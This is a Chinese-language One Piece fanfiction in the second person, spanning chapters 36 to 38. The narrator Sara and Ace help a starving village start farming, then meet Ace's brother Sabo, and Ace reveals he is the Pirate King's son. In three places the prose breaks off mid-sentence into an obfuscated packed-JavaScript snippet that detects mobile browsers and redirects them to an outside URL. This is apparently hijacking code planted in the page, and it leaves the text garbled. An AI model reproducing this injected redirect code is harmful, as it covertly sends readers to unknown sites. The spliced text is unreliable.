“好累...用其他能力时都没这么累。” 你在石头上坐了一会儿,正好的阳光和温度,配合着林间清脆的鸟叫声,困意上来了。 躺一会儿应该没事吧?你想到自己的见闻色范围和睡眠浅度,果断躺在微凉的石头上,在微醺的阳光中小憩片刻。 不出意外的,你睡着了,还睡得很熟。以至于你醒来见到艾斯饶有兴趣的脸,眨了好几次眼确认眼前的人不是假的后,猛地从石头上坐起。 从你睡着时一直看到醒来的艾斯,赶在你撞上他之前侧过身,没让“惨剧”发生。 快速在脑里过了一遍睡前的事,你扭头看向唯一一个可能知道你睡了多久的艾斯。 “我睡了很久吗?” 被问及的艾斯回以你爽朗的弧度:“没多久,刚好到午饭时间而已。” “那不是睡了差不多一个小时吗...” 推断出自己睡眠时间后的你,为自己过于松懈的精神感到无奈。而早就在一旁等待的艾斯挑了挑眉,伸出食指戳了下你微皱的眉头,换来了你不解的目光。 丝毫没有意识到你们的互动过于亲密的艾斯,在你的注视下叹息出声。 “累了就休息, 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由于后半句的声音太小,你没听清艾斯后半句说了什么。 “抱歉,后面那句声音有点小,艾斯说了什么吗?” 捕捉到关键词的艾斯急忙转移话题。 “没什么!不是什么重要的话。比起这个,午餐吃烤□□,刚才我看到野鸡经过这了。” 刚才的对练消化掉了早餐的食物,艾斯这么一说,你也有点饿了。 “好啊,就吃这个吧。” 你刚想起身,就被艾斯按住肩膀,又坐会儿原地。只见在你面前的艾斯笑了,他道出让你坐在原地的理由。 “早餐是你做的,午餐就轮到我大展身手了。” 不给你拒绝的时间,艾斯说完就跑开了,留你坐在石头上等他打猎归来。 不用干活就有饭吃挺好的,但你想到艾斯的能力,还是忍不住看了眼周围的绿植。 你应该不会被艾斯一把火带走吧? 事实证明,你可以永远相信艾斯对火的控制力。午餐不止吃上了烤鸡,艾斯还把鸡窝里的蛋也拿来烤了。 某种程度上,也算是团圆了吧?你吃着色香味俱全的烤鸡,想着让自己忍不住笑出声的话。 一旁刚解决掉半只鸡的艾斯不明所以地看了你一眼,好看的黑眸里是对你突然笑起来的不解。 面对艾斯的不解,你摆了摆手,打消他的疑惑。 “没什么,只是想到了好笑的事。” 这一说艾斯更感兴趣了,侧过身向你打听具体的详情。 “什么这么好笑,也让我听听。” 在艾斯的追问下,你克制住嘴边的笑意,指着还在火边烤着的鸡和蛋:“成年体和幼年体都在这里了,算不算一种团圆?” 意识到你在说什么后,艾斯也忍不住笑了起来,边笑边附和着你的想法。 或许你和艾斯的相处就是这样吧,总会因为一些没有逻辑的事笑个不停。 但在这之后,好看的黑眸不时会望着火边的烤鸡陷入沉思。显然,有什么事让艾斯为之困扰。 “艾斯?” 被你叫到名字的艾斯扭头看向你,脸上又浮现出你再熟悉不过的笑容。 “怎么了?” 艾斯没有想和你倾述的欲望,那你也识趣的不去打听他不愿说的事。 “我要继续训练了,你要一起来吗?” 换了个艾斯会感兴趣的话题后,艾斯精神了很多。 “好啊,我也想看看萨拉成长到什么程度了。” 36.改变 晚餐是婆婆种的蔬菜,还有昨天留下来的熊肉。去腥的步骤做的不是很好,不过还是能下肚的。 但吃进嘴里时,你还是会怀念在船上吃萨奇做的饭的日子。温馨的晚餐时间过后,就是艾斯的洗碗时间。 一开始婆婆说让她洗碗,被你和艾斯说服了。拿你们没办法的婆婆放弃和艾斯抢碗洗的工作,改为去浴室煮热水。 见状,你和艾斯也由婆婆做她想做的事了。 艾斯负责洗碗时,你在一旁擦干他递来的碗碟。不大的厨房里洗碗时的流水声、干净的碗碟叠在一起时细微的摩擦声,静谧又不失温馨。 直到碗碟全洗干净了,艾斯主动和你聊起了食物的话题。 “放在冰箱里的肉还能吃多久?” 想起晚上做饭时看到的量,你估算了下三个人的食量,得出了你的结论。 “最多一天吧。怎么了?” 被问及的艾斯走出去看了眼客厅的情况,确认婆婆不在客厅后,又走回厨房和你继续聊刚才的话题。 “我在想,有什么办法能改善村里的情况。” “今天我和那些孩子玩时,他们都说昨天是今年第一次吃上肉。几岁的孩子一年到头只能吃蔬菜...总觉得自己该做点什么。” 说到后面,艾斯暗下来的黑眸像是想到了什么。根据你对艾斯的了解,他大概是想到在和之国遇到的孩子了。 艾斯也不是没向老爹说过和之国的事,但最后被老爹揍了一顿并拒绝了他的提议,当时你也在场,也知道艾斯对和之国的事耿耿于怀。 情感上你能理解艾斯想为他们做些什么的心情,可只有你们两个人的情况,要怎么做才能改善这个村子持续几年,甚至可能持续更久的情况? 答案是肯定的,你们能做的事不多。不过艾斯愿意和你说这件事,说明他对这件事有自己的想法,那些会扫他兴的话就不说了。 “嗯,所以你想怎么做呢?” 饶是艾斯在和你说起这件事前就做好被拒绝或同意的心理准备,可你毫不犹豫地询问他接下来的想法时,他还是为之感到诧异。诧异过后,是你对他无条件信任的欣喜。 “抱歉,其实我没想到什么方法能解决这个问题。” 配合着这句话的笑容很是灿烂。怎么说呢,这个结果在你的预想中,并成为了现实。即使如此,你看向艾斯的眸中还是多了一丝无奈,后者讪笑着继续这个话题。 “但萨拉不一样,萨拉很聪明。所以我问一下你的想法,看看有没有我能做的事。” 显然,艾斯对于你能想出解决现状的方法这件事,有十足的信心。而你本人不这么认为,并希望艾斯认清你们的身份。 “在正式聊这个话题前,我需要你明白一件事,艾斯。我们是海贼,做这些事的应该是海军或革命军。” 身份和立场的问题,你在还是海军时就想过了。抛开身份和立场的话,你和艾斯个人的能力和号召力,也不足以让整个村子的人听你们的号令。 可艾斯不这么想,他倒是觉得海贼的身份更适合。 “但我们是自由的,无关身份立场,不都是想做就做吗?” 看着艾斯脸上的笑容,你说不出反驳他的话,也可能是不想让他脸上的笑容消失吧。 “所以萨拉,我们做力所能及的事吧。” 你试着从艾斯脸上找到一丝不愿,那双不时让你觉得刺眼的黑眸,眼底里对你不加掩饰的信任。 还能怎么办呢?自家人当然是宠着啊。 “你可真是会给我出难题。幸好我不在你的海贼团里,不然我会因为你过于随心所欲,在你睡觉时溜走的。” 闻言的艾斯表情微怔,再度浮现出表情时,他的笑容里多了几分自信。 “如果是这样,不管你逃到哪,我都会找到你的。就像现在——” 这么说着的艾斯往前迈进一步,温热的掌心在你的注视下,握住了你出于本能,下意识放在胸前准备摆出防守姿势的右手手腕。 和笑容截然相反的气势,以至于你被艾斯握住手腕时,还没能从现状中反应过来。待你看清眼前人的眼睛时,刚才令你无法动弹的气势散去,你看到了艾斯眼底的笑意。 “看,我又找到了你。” 是孩子气的恶作剧,还是出于本心的行动?无论结果是哪个,都不妨碍你觉得两人的距离过近了。 再往前几公分就能吻上额头的距离,于你们的关系而言实在是过于亲近了。 “艾斯,你靠得太近了。” 你的话让艾斯意识到了什么。刚才步步逼近你的艾斯猛地后退几步拉开距离,后知后觉爬上脸的温度和赤色,和刚才的艾斯形成鲜明的对比。 “抱、抱歉...总之刚才的事就拜托你了。” “啊对了!我去看看婆婆有没有需要帮忙的地方!” 算得上落荒而逃的艾斯离开了厨房。看着艾斯慌乱的背影,你不禁笑出了声。 说到底,艾斯还是你认识的那个艾斯。 刚才令你下意识防备的艾斯,只是他玩心过重的产物吧? - 造成村子的主因还是“天上金”的存在。这点是无法解决的,你们能做的只是改善村民的伙食。 你和艾斯停留在这的时间注定不长,不可能一直给他们打猎的。所以,解决伙食的问题重心在养殖上了。 目前能从山上找到的有野鸡和野山羊,一般人也能对付的存在。针对这点,你提出的建议是家里有条件的可以用木桩圈出一小片地用来养殖。 本就是在山上生存的动物,每家每户吃不完的蔬菜和剩饭都能养活它们。 这一听有搞头,家里有小孩的欣然接受你的提议,连夜圈地准备养殖的场所。艾斯是想去帮忙的,但被你阻止了。 “只有他们自己想养、想做,才有动力做下去。我们能做的最多是抓鸡抓羊,且数量不能太多。” 前半句艾斯能理解,后半句他不能理解:“为什么不能太多?” “要是数量过多,那蠢蠢欲动但没下定决心的人,不就能等主动尝试的人越养越多,坐享其成了?” “再来就是数量太多不利于管理,还会有不太好的事发生。” 刚好能繁衍的数量就是最合适的,再多起贪欲的就会杀鸡取卵了。 你的话把艾斯说的心服口服,注视着你的黑眸里更为闪亮。 “果然,萨拉想的很周到。” “哪里...之后还有很多麻烦的事,能不能养活也是一个问题。” 毕竟后山还有很多猛兽,大规模捕捉能养殖的动物,意味着会打破原有的生态平衡,容易把山上的猛兽引进村里。 考虑到这点,你向婆婆打听了村里对植物有所了解的村民。得知你想找高产又能利用的植物,半辈子研究植物,却因为山里太危险不敢进去的老人家欣然接受了你的邀请,跟你们进后山找了一圈。 结果真的给你们找到了高产的小麦,还有其他能食用的植物种子。 于是半辈子都在耕种维持生活的村民连夜开垦能用的荒地,只为了能早一天收获小麦和其他可食用的产物。 许是见到未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012351|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有盼头了,一开始你怎么说都不愿意尝试的村民,陆陆续续向你表达愿意尝试的意愿。 人一旦多起来,管理的问题就要提上日程了。而管理这些事务的必须是村里德高望重的人,不能是你和艾斯这样的外人。 “这些都是你们想出来的方案,交给我真的可以吗?” “当然可以,你是这里的村长,也受大家爱戴,没有人比你更合适了。” 以防管理权限被一人架空,你还和艾斯分别拜访了擅长不同领域的村民,最后被你说服的村民成立了当地的管理委员会。 走到这一步,花了将近半个月的时间。 虽然目前村里还没有明显的收成,但留在村里的老人和小孩,脸上的笑容是对未来生活的向往。开垦的荒地和新建的养殖圈,也是村里的一大改变。 看着大变样的村子,刚和你从山里跑下来的艾斯,落在你身上的目光十分炙热,是你想无视都无法忽视的地步。 “说真的,我没想到萨拉会做到这一步。” 注视着你的黑眸里笑意,是对你的敬意,还有别的什么情感。原谅你半个月都累死累活的,没有心情再去分析艾斯的表情。 “所以我才说啊,你给我出了一道难题。” 每天都在思考如何完善现有设施的事,你都很久没研究过能力的使用了。面对你的抱怨,自知理亏的艾斯讪笑着给你捶背。 “但萨拉确实做到了,不是吗?” 虽然很累,但你还是要纠正艾斯话里的主语。 “不是我做到了,应该是‘我们’做到了。” 替你捶背的艾斯顿了一下。因为他在你后背,你看不到艾斯的表情,但不妨碍你和他交流。 “这么说也不对,后面还有很多需要他们自己解决的事。现在这种情况,我们差不多该开溜了。” 所有提出的方案的利与弊你都和村里人说过了,怎么解决就要看他们了。你们又不是革命军,不可能一直在这待到他们过上好日子的。 这段时间跟着你跑上跑下的艾斯也多少能理解你的想法了。 “你想什么时候出发?” 考虑到最糟糕的情况,最合适的时间是所有人都睡着的时间。 “今晚。” - 许是和你们生活了半个月心有灵犀,婆婆睡得比以往要早。晚餐时,还有意无意和你们说哪里有船,哪里放着利于保存的食物。 “老婆子会睡得很深,你们要是去山里,记得带上需要用的东西。” 这是婆婆回房间前特意交代的。一切尽在无言中,你和艾斯交换了眼神,欣然接受了婆婆的提议。 “婆婆晚安。” 你的话引得婆婆笑出声来,布满岁月痕迹的手朝你挥了挥,回以你相同的话语。 “好,晚安。” 确认婆婆入睡后,你和艾斯收拾好自己的行李。离开前,你把婆婆不愿收的贝利放在客厅的桌上。 村里人都在梦里的时间,找到快艇的你们已经出发了。 不是没有在夜晚的大海上航行过,但这次航行,你真的很累。 “艾斯,我想睡会儿,可以拜托你守夜吗?” 面对你的请求,艾斯毫不犹豫应下了,还从放毛毯的地方抽出毛毯,让你裹在身上。 “你睡吧,到了我再叫你。” 理应半个月没用的毛毯嗅到一股熟悉的香味。可能是这股香味的原因,你刚裹上困意就来了。 “嗯,拜托你了。” 说完这句话,你就在艾斯似有似无的笑声中睡着了。 37.纹身 相较于上一个岛的村民,这座岛的村民对海贼的态度要正常很多。不是说你们想让一般人害怕,而是一般人听到“海贼”一词,第一反应都是恐惧。 所以认出艾斯背后白胡子标志的村民,无一例外都是大喊着“有海贼登岛了”的话。 虽说你没想着不被人认出,但什么都没买到就被岛上的居民恐惧和驱赶,多少有点碍事。因为这个原因,你看向艾斯的眼神多了几分无奈。 视线对上那刻,艾斯便读懂了你脸上的表情,果断拿出他的背包,在里面翻找出外套套上。 “这下没问题了!” 穿上外套的艾斯还在你面前转了一圈,让你确认后背的纹身有好好遮住。艾斯自觉到这种程度,你不禁开始反思是不是自己过于追求安逸了。 说到这个,之后你要不也在身上纹个白团的标志?可是纹身的话,你又该纹在哪呢? 马尔科是胸前,艾斯是后背。以藏的...因为后背是前家主的家徽,白团的标志在脚踝。其他人的位置都不太一样,你能直接看到的不多,所以能参考的位置也很少。 胸前和后背的位置固然显眼,但于你而言没有参考的作用。一是你不喜欢露肤度高的衣服,二是你也不能随时穿着露半个后背的衣服,这对你来说是一种挑战。 你走神的时间里,一旁注视着你的艾斯等了一会儿,还是没忍住打断你的思绪。 “你在想什么?” 艾斯的声音唤醒了你逐渐远去的思绪,你落在艾斯胸前的视线没有移开,后者察觉到什么,急忙把前面的扣子系上了。 看到艾斯微红的脸,后知后觉的你移开落在艾斯胸前的视线,向他解释刚才的行为。 “抱歉,我没别的意思,就是在想纹身该纹在哪。” 比起话题的跳跃性,艾斯更在乎你说的纹身。 “要纹身吗?” “嗯,不过不是现在。毕竟要得到老爹他们的允许,才能考虑纹在哪的问题。” 毕竟要纹的可是白团的标志,没有老爹他们的允许,可不能随便纹啊。 闻言的艾斯在脑海里过了一遍你说过的话,脑内疑惑的问题找到了答案:“这样啊,那确实是该回船上再考虑这个问题。” 下船前的你虽然没想过这件事,但那个时期你十分肯定,只要你提出这个请求,老爹就会同意。 现在的话…你没有这个自信。 “也不知道有没有机会纹上。” “不会的。” 艾斯的声音让你意识到自己担忧的事说出口了。没等你为脱口而出的话解释,凝视着你的黑眸里是笑意,也是艾斯对你的承诺。 “虽然老爹他们不同意的可能性不大,但我会给萨拉投同意的票。就是我的口才没你好,希望到时候不会和老爹他们吵起来。” 说到后半句,艾斯的声音染上一丝笑意。 你很难形容此时的情感,但艾斯的话语,让你慌乱的情绪逐渐冷静下来。 “好啊,到时候就靠艾斯了。” - 艾斯穿上外套后,你也适当给自己做了些伪装。再怎么说,现在的你也是上过悬赏令的人了。也是这样,你们在街上行走时就没遇到刚进小镇时的事了。 一般的人很少会收藏悬赏令,更别说把悬赏令上的脸都刻入脑海。大多数被一般人记住的海贼,不是赏金过高的海贼,就是犯下重罪的。 当然,还有一些海贼是因为特别的长相被记住的。而一般的小镇,也不会把所有海贼的悬赏令粘上去,基本粘的都是当地人需要注意的悬赏令。 基于以上的基础,你和艾斯购物遇到的麻烦少很多。只要没有海贼和海军打扰,你们是可以享受相对安逸的购物时间的。 你和艾斯在为买哪顶帽子犹豫时,戴着黑色礼帽的男人走了进来。你会记住他,是因为他擦肩而过时,你看到了他脸上有明显被火烧伤的痕迹,以及帽檐下的金发。 再来,就是他路过身旁时,有意扫了你们一眼。也是一眼的时间,擦肩而过的男人离开了。 海军?还是同行?没等你想出结论,艾斯根据他的审美和对你的了解,给你挑了顶相对淑女的礼帽。 “戴这个吧,我觉得它挺适合你的。” 你看着艾斯手上礼帽。它的帽檐很大,帽子上还有一些好看的装饰,最显眼的装饰,还是能遮住半张脸的轻纱。 这是一顶很好看的帽子,但不妨碍你选择再普通不过的黑色鸭舌帽。 “就这个吧,不显眼也普通。” 艾斯的表情有些纠结,目光在他选的礼貌和你选的鸭舌帽上环视。最后,他不舍地放下了自己选的礼帽。 看得出来,艾斯很想你戴上他给你选的礼帽。因为艾斯的表情太生动,你不禁笑出了声,在艾斯祈求的黑眸中戴上了自己选的帽子。 “好啦,下次有机会我会买的,现在先买这顶吧。” 由于帽檐遮挡住了一部分的视野,你没看到艾斯的表情。但微扬的声调,让你想象到了艾斯听到这话时高兴的脸。 “那说好了,下次要戴我买的!” 原话似乎是你自己买来着。不过艾斯高兴,你倒是不介意顺着他的意思说下去。 “好——说好了。” 说起来,之前艾斯好像也给你买过发带来着,那条发带你放哪去了?原谅时间有点久远,你想不起那条发带被你放在哪了。 除了发带,艾斯还送了很多东西给你,而现在的你似乎记不起他送你的东西都收哪去了。 想到这,你不太敢看艾斯的脸,生怕下一秒艾斯就问起你,之前送给你的某样东西去哪了。万幸的是艾斯没有问,不再纠结帽子问题的他,注意力落在镇里的其他商店上。 要是看到觉得新奇的店,艾斯便叫着你的名字,让你和他一起去探索。一时间,你的记忆回到了艾斯刚上船那年。 十七岁的艾斯和二十岁的你也是这样,你在艾斯的充满活力的笑声中,跟着他穿梭在人来人往的人群中。 那时的你还在为以藏不喜欢自己而难过,还需要船上的人照顾。既不是海军中将,也不是有代号还上了悬赏令的海贼。 时间在流逝,你们也在流逝的时间中成长了。就连与你并肩而行的人,也换了好几个。 即使如此,走在你前面的艾斯还是没变。在艾斯的世界里,他仍旧给你留有一席之地。 看着艾斯被外套罩住的后背,你的胸口泛起一阵暖意,连带着眼角也被这股暖意影响。 回过神时,拽着你的手腕到处走的艾斯停下了步伐,正手忙脚乱地找着手帕。 “是我走太急了吗?抱歉萨拉、我不是故意的——” 艾斯慌乱的动作和道歉的话语,让你意识到自己的失态。你用手背擦去眼角溢出的泪,摆手示意艾斯别把这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017239|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事放在心上。 “没事,不是艾斯的问题,是我太高兴了。” 你的话没能换来艾斯的安心,艾斯脸上依旧写满了担忧。 “真的没事吗?需要休息一下吗?” 到嘴边拒绝的话,在听到艾斯因饥饿响起的声音时,你在艾斯讪笑的笑容中更换了要说的话。 “说的也是。差不多到午餐时间了,我们去吃饭吧。” - 午餐的选址是离你们最近的餐厅。许是餐厅的主厨厨艺高超,店里竟没什么位置。幸运的是,你和艾斯还是找到了坐得下两人的位置,在这之后的客人就需要排队或拼桌了。 在吃方面没什么追求的你,把点餐的事全权交给艾斯。艾斯没有辜负你的信任,点的菜里兼顾了两个人的口味。 当然,虽迟但到的习惯也没有辜负你的信任,厨师上菜上到一半,吃了几口的艾斯就要入睡了。 养成习惯的你在艾斯闭眼时就伸出手抵住他的额头,一旁被艾斯突然倒下的动作吓到的服务员不敢动。确认艾斯不会一脸栽进餐盘后,你转头安抚定在一旁的服务员。 “别担心,他只是睡着了,请继续上菜吧。” 即使如此,服务员还是再向你确认了一遍艾斯的情况。 “真的没问题吗?” “是的,这是他的习惯,别担心。” 有了你的肯定答复,服务员才放心离开。见服务员离开了,你用撑着艾斯额头的手将他低下的头扶正。腰板挺直那刻,陷入昏睡状态中的艾斯醒了。 “啊、又睡着了。” 丝毫不觉得这是需要人担心的问题的艾斯朝你露出爽朗的笑容。看到这样的笑容,大概没什么人能对有坏习惯的艾斯生气吧?但和他同行的你,还是有必要转达一下刚才的事的。 “是哦,差点把服务员吓得叫出声。” 闻言的艾斯了然点头,脸上的笑容只增不减。 “不是还有你在嘛。” 听了就让人人心暖暖的话,该说不愧是艾斯吗?想到在找到你之前,艾斯吃几口就睡的画面,你决定逗一下艾斯。 “我不在时你不也是这样?” “所以那个时候把服务员吓到了。现在有你在,不就不会吓到他们了吗?” 无缝衔接的对话,足以说明艾斯对你的存在充满了信任。就是这样的直球,让你有些招架不住。脑海组织了半天的语言,最后说出口的是带着宠溺口吻的字句。 “你啊…” 去厨房拿菜的服务员还没回来,打断你和艾斯对话的是刚才擦肩而过的男人。他出现的很突然,就连开口的第一句话也和他的出场一样,让你摸不着头脑。 “果然,你还是和以前一样没变啊,艾斯。” 皱着眉头警惕冒然出现的男人的艾斯,皱起的眉头在来人拿下黑色礼帽时舒展开来。只见艾斯的表情从惊讶变成不敢置信,又在摇头后换成惊喜, 到最后,艾斯的脸上是感动之余又警惕的表情。 “不对、你应该已经死了才对。” 面对艾斯接近冒犯的话,男人回以温和的笑容。 “具体的事说来话长,不介意我和你们拼桌吧?悬赏五亿的‘黑发魔女’萨拉。” 显然,来人对你和艾斯有一定的了解。话说到这个份上了,不就只能答应了吗? “当然可以,不请自来的先生。” 38.过去 来人名为“萨博”,是现役革命军的二把手。从萨博和艾斯的聊天内容可以得知,他们和路飞是从小结拜的兄弟。 经过各种误会,现在萨博和艾斯见面了。两人有说有笑的画面,根本想象不到他们分别了十年。 “所以萨博来这里,是有什么任务吗?” 谈到双方出现在这的话题时,艾斯顺其自然地问出了萨博此行的目的。萨博也不含糊,直接告诉艾斯他此行的目的。 “有点事在调查,顺带在路上找一下你和她。” 找艾斯你还能理解,但找你又是因为什么?不止你,艾斯看向萨博的目光也写满疑惑。 萨博扫了眼周围的环境,提出更换聊天场所的提议。 “这里不好聊天,我们换个地方聊吧。” 于是快速解决午餐的你们离开了餐厅,跟着萨博来到相对安静的空地。 从萨博的对话可以得知,你们待了半个月的岛叫“塔里斯”,革命军到过那里,鼓励村民奋起反抗,结果不怎么好,但种下了奋起反抗的种子。 “从一个星期前开始,我们安排在那的队员传来的情报里,经常提到‘萨拉’的名字。” “情报里说了你怎么说服村民一起改变,也说了你针对当时情况提出的方案。” “我们也调查过你之前的事。你的管理手段和独特的想法,让革命军十分敬佩。” 你看了眼艾斯,艾斯向你发出了“静观其变”的信号。于是,你的视线再度回到萨博的脸上。 “综上所述,我们想邀请你加入革命军,不知你意下如何。” 萨博的一番话让你怔在原地。革命军?你?确定不是找错人了吗? 相较于环视周围看是否有第三者存在的你,和你听完萨博一番言论的艾斯右手的五指并拢,精准打在萨博的肩上。 “哪有人一见面就当面挖墙脚的啊!” 被艾斯精准打击的萨博回以优雅中带着些许恶劣的笑容。 “哪里,我这不是在征询萨拉的意愿吗?” 两人的互动让你缓过来了。面对革命军抛出的橄榄枝,你的回答必然是—— “很感谢革命军的邀请,但我并不想在其中发光发热,所以我将在这郑重拒绝来自革命军的邀请。” 你说着,脱下头上的鸭舌帽,朝萨博微微鞠躬。没想到你会拒绝得这么正式的萨博表情微滞,艾斯则是就着你的话重复了关键的词。 “没错,萨拉不会去当革命军的。” 说这话时,你似乎能看到艾斯身后长出了尾巴,正随着他挺直的腰杆晃成螺旋桨。 很高兴呢,艾斯。你和萨博对上视线时,心里默念着同一句话。 而被拒绝的萨博又恢复了原有的微笑。只见萨博拿下礼帽,拿着礼帽的手放在腹部,回以你相同弧度的鞠躬。 “说的也是,那下次见面我再问一次。” 极致的礼仪换来了艾斯的无奈。 “...你不会是觉得问多几次萨拉就会反悔了吧?” 艾斯边说边移动步伐,小心翼翼地将你挡在他身后。你和萨博都看穿了艾斯的把戏,却不明说。你觉得这样的艾斯很可爱,萨博虽然没说,但他腹黑的笑容足以说明一切。 “不可多得的人才值得多问几次。” 然后萨博就被艾斯“轰走”了。临走前,萨博还和艾斯交换了生命卡。直到萨博淡出视野,拿着生命卡的艾斯才松口气。看到萨博的生命卡时,艾斯又想起了他邀请你的话。 “萨拉会回莫比迪克号的对吧?” 急忙上前握住你的手的艾斯,脸上的表情是肉眼可见的紧张。但这个问题于你而言,只能是单选题了吧? “嗯,我会回去的。” 得到想要的答复后,艾斯松了口气,取代紧张的表情的,是艾斯舒心的笑容。 - 和萨博分别后,你和艾斯又回到小镇逛,顺带从小镇居民的对话中找到想要的信息。 可惜,在这个公告栏上都没粘贴悬赏令的小镇,居民的对话都是一些家常。直到你和艾斯走进人流最多的酒吧时,鱼龙混杂的酒吧里聊得话题就不一样了。 酒客A:“用剑的肯定是鹰眼最强吧!” 酒客B:“不谈武器潜力最强的难道不是火拳吗?!” 酒客C:“火拳再怎么强,赏金也没第一次就五亿的魔女厉害啊!” 离你们最近的酒客讨论着和你们有关的话题,这着实令人意外。你看了眼艾斯,试图从他脸上找到对这些对话不同的看法。 坐在你对面听得津津有味的艾斯正顺着酒客聊的话题点头,和你对上视线时,朝你回以灿烂的笑容。 “他们聊的话题还挺有趣的,我也去聊几句好了。” 你点头表示没问题后,艾斯拿着酒走到聊得火热的那桌,在酒客“你又是谁”的声音中,说出了他的想法。 “最有潜力的应该是草帽小子吧?” 此话一出,坐在那桌的酒客各有个的反应,但艾斯凭借着他对路飞的信任说服了想和他争论的酒客。几句话的功夫,艾斯就被酒客拉下来喝酒了。 你看着因艾斯的到来从争辩到有说有笑干杯的酒桌,觉得无奈的同时又有点好笑。 果然,艾斯的社交能力不是一般人所能比拟的。 许是有艾斯在的地方,总会吸引到周围人的注意力。没多久,围在那桌的酒客比一开始的人还多了,话题也越来越偏。 酒客D:“要说谁最有潜力,海贼王的孩子不是更有潜力吗?” 酒客E:“海贼王有孩子?如果他有孩子,不是早被海军抓进推进城了吗?” 酒客F:“但海贼王真有后代的话,不会被其他海贼和海军针对吗?” 话题变成海贼王时,刚才还有说有笑的艾斯就没说话了。而聊起海贼王的话题后,加入那桌的酒客的态度也不同了。 有的开始控诉海贼王让海上乱成一团,有的则是支持海贼王让海上乱成一团养活了不少人,还有的则是在中间劝他们别为这个吵起来。 在他们即将打起来时,艾斯回到了你在的那桌。他的脸上还挂着笑,但他的情绪没有去时这么高涨,还有点复杂。 “感觉等一下会有麻烦事发生,要不我们先走?” 你看了眼已经从口角之争变成真人对打的酒桌,接受了艾斯的提议。 果然,你们刚出酒吧,就有几个海军跑进酒吧制止纷争。周围人习以为常的反应,足以说明这种事在这里算是日常了。 比起外人的纷争,你更在意艾斯的反应。自你们从酒吧出来后,艾斯的话都少了很多。虽然他有意活跃气氛,但笑容里的勉强,说明他的情绪并不像表面一样高涨。 回想起刚才的话题,从“海贼王”的话题起,艾斯的反应就不太一样了。 要问艾斯吗?要是问的话,又该怎么问呢? 切入点肯定是“海贼王”,如何从这个点发问也是一个问题。 奇怪的气氛持续到入住民宿的时间。主动打破僵局的,还是艾斯。 “萨拉,我可以和你聊聊吗?” 铺好床准备入睡的你,在入睡和难得忧心忡忡的艾斯间,果断选择了后者。 “好啊,在我这还是去哪聊?” - 你跟着艾斯来到白天和萨博聊天的空地。相较于热闹的白天,本就没什么人来往的空地,在夜晚时更为静谧。 仔细看,你还能看到不远处有片湖。如果不是时机不太合适,你就拉着艾斯去那里坐了。 关键还是艾斯的情绪不高吧。说是要和你聊聊,来到空地后坐了好一会儿,也没见他有开口的意思。 能让直率的艾斯久久不能言的话题,即使不知道他要说什么,你也能肯定这不是简单的话题。 你也不急,就这么和艾斯坐在草地上,直到眺望远方的艾斯主动开口。 “我、是海贼王的后代。” 听着艾斯干涩的嗓音,你顿时明白了艾斯在酒吧时的反应是因为什么了。 艾斯停顿了半晌,见你没有接话的想法,就着这个话题继续往下说。 “船上的大家知道这件事时的反应都不太一样。有人觉得无所谓,也有一时间难以接受的。” 你能理解,毕竟“海贼王”在每个人心目中的地位不同。哪怕是同一条船上的,谈起这个话题时的反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023331|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不同。 四目相对时,你看到了艾斯眼底的局促和不安。 “所以...你对这件事是怎么想的?” 问出这个问题的艾斯很紧张。即使他知道,他所认识的你不会因此改变对他的态度,也不会有过激的反应,他还是会为此而紧张。 饶是和他称兄道弟的船员,也在知道这件事后躲了他一段时间。虽然结局是好的,但过程很折磨人。 可艾斯的担心终究是多虑了。于你而言,“海贼王”是众人口中的故事和过去,远不及“艾斯”给你的影响。 “不怎么想。我对海贼王没什么想法,艾斯也不是别人口中的‘罗杰’。” 你毫不迟疑的答复令艾斯怔在原地。不是没有预想过各种结果,可你的反应过于豁达了。 “所以不管艾斯是谁的后代,于我而言都不是问题。但这件事是艾斯心中的刺的话,我很乐意为你拔掉这根刺。” 在艾斯错愕的表情中,你伸手拍了拍他的右肩,试图将艾斯唤醒。 事实证明,你的拍肩还是很有作用的。只见艾斯错愕的表情被豁然的神情所取代,上扬的嘴角是艾斯心情好转的证明。 “果然,萨拉和以前一样没有变。” 你故作生气地挑眉,借用了白天某位酒客的话驳回艾斯的话。 “哪里没有变?现在我可是赏金有五亿的海贼。” 听出你引用的是谁的话的艾斯笑出了声,话题也从他的身世回到了白天酒客们的话题上。 “是啊,但最有潜力的还是路飞!” 你看着恢复状态的艾斯,为状态不对的艾斯所提起的心,随着他的笑容恢复到原有的平静。 比起忧心忡忡的艾斯,会为朋友和家人露出自豪的笑容的艾斯,才是你熟悉的艾斯。 在这之后,艾斯还和你说了萨博和路飞的事。像是他们说要当海贼时被爷爷揍的满头包的事,三个人在山里修行结果让养他们的山贼满山找之类的事。 